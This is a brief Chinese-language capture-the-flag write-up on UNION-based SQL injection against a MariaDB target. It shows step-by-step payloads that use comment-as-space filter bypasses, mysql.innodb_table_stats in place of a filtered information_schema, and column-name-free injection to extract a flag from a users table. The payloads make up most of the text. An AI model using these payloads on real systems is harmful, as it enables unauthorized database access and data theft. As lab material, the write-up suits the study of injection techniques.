MariaDB注入

一、

?id=2和?id=3-1返回一样，为数值型注入

二、确定回显位

?id=2/**/union/**/select/**/91,58,66#

三、确定为MariaDB

?id=2/**/union/**/select/**/91,database(),version()#

可以看到数据库名为web7

四、爆表名

information_schema.tables也可以爆，但是这里过滤了，于是就用mysql.innodb_table_stats代替

2/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3#


//如果information_schema.tables没用被过滤

2/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from information_schema.tables/**/where
/**/table_schema=database()),3#

表名为page,user

五、爆列名

2/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/from/**/user),3#

发现注入无回显，information_schema.columns也被过滤了

但是这里可以用到无列名注入爆flag

-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)b),3#

-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)b),3#